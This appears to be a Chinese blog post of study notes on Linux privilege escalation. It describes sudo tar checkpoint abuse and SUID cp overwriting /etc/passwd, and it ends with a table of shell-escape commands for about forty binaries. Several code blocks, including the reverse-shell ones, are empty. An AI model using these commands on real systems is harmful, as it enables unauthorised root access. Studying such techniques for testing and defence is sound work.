提权
用VPS反弹shell
攻击机监听端口
1 |
|
目标机
1 |
|
提权
已知一个用户的密码
- 用
cat /etc/passwd
命令来查看用户 - 用
su 用户名
命令来切换用户,尝试出已知的密码是哪一个用户的 - 用
sudo -l
命令来查看当前用户的权限
tar包提权
如果管理员给予了某个普通用户tar命令的超级管理员操作
1 |
|
-c
:创建新的档案文件,相当于打包(-x,相反的操作,拆包)-f
:使用档名,f之后直接加档名,中间不能加其他参数--checkpoint=n
:每写入n个记录之后设置一个检查点,在检查点可以执行任意的操作,操作由 –checkpoint-action 指定exec
:执行外部命令
执行这个命令后就提权成功了,用id
命令查看当前用户发现已经是root,此时可以自由查看 /root 文件中的内容
suid cp提权
用命令查找是否存在suid提权的可能
1 |
|
看到/bin/cp
就知道可以用 cp 提权了
操作步骤:先构造一个和/etc/passwd里一样的文件 然后在文件的末尾加上一个用户 这个用户的相关信息都可以随你编写 再利用cp的高权限对/etc/passwd文件进行覆盖
方法一
在/tmp新建一个passwd文件,在tmp的原因是因为tmp目录是临时缓存目录 一般访问和修改权限较低但可执行权限较高
1 |
|
然后回到命令行使用 cp 命令把 /etc/passwd 用 /tmp/passwd 替换掉
1 |
|
然后cat /etc/passwd
查看 /etc/passwd 可以看到有了hacker用户
使用su hacker
命令切换成hacker用户
此时我们拥有root权限,就可以查看root文件里的内容了
方法二
1 |
|
依次执行完这三个命令
用id
命令可以看到euid已经是root了,用whoami
可以看到是root
此时就可以查看root文件里的内容
suid gdb提权
1 |
|
常用提权命令
命令 | 利用方法 |
---|---|
zsh | zsh |
xargs | xargs -a /dev/null sh -p |
watch | watch -x sh -c ‘reset; exec sh -p 1>&0 2>&0’ |
timeout | timeout 7d /bin/sh -p |
time | time /bin/sh -p |
tclsh | + tclsh + exec /bin/sh -p <@stdin >@stdout 2>@stderr |
taskset | taskset 1 /bin/sh -p |
stdbuf | stdbuf -i0 /bin/sh -p |
strace | strace -o /dev/null /bin/sh -p |
ssh | ssh -o ProxyCommand=’;sh -p 0<&2 1>&2’ x |
setarch | setarch $(arch) /bin/sh -p |
rsync | rsync -e ‘sh -p -c “sh -p 0<&2 1>&2”’ 127.0.0.1:/dev/null |
rpm | rpm –eval ‘%{lua:os.execute(“/bin/sh -p”)}’ |
python | python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’ |
php | + CMD=”/bin/sh” + php -r “pcntl_exec(’/bin/sh’, [’-p’]);” |
nice | nice /bin/sh -p |
nano | + nano //运行nano程序 + ^R //按下ctrl-r + ^X //按下ctrl-x 4、reset; sh -p 1>&0 2>&0 //输入下面的命令 |
more | + more /etc/profile + !/bin/sh -p |
logsave | logsave /dev/null /bin/sh -i -p |
less | less /etc/profile //读取文件,在底行输入!/bin/sh -p |
ksh | ksh -p |
ip | + ip netns add foo + ip netns exec foo /bin/sh -p + ip netns delete foo |
ionice | ionice /bin/sh -p |
git | git help status |
gimp | gimp -idf –batch-interpreter=python-fu-eval -b ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’ |
gdb | gdb -nx -ex ‘python import os; os.execl(“/bin/sh”, “sh”, “-p”)’ -ex quit |
ftp | ftp //在底行输入“!/bin/sh -p” |
flock | flock -u / /bin/sh -p |
find | find . -exec /bin/sh -p ; -quit |
expect | expect -c ‘spawn /bin/sh -p;interact’ |
env | env /bin/sh -p |
ed | ed //在底行输入“!/bin/sh -p” |
docker | docker run -v /:/mnt –rm -it alpine chroot /mnt sh |
dmesg | dmesg -H//在底行输入“!/bin/sh -p” |
csh | csh -b |
bash | bash -p |
awk | awk ‘BEGIN {system(“/bin/bash -p”)}’ |
perl | perl exec “/bin/bash”; |
提权
https://yschen20.github.io/2025/04/25/提权/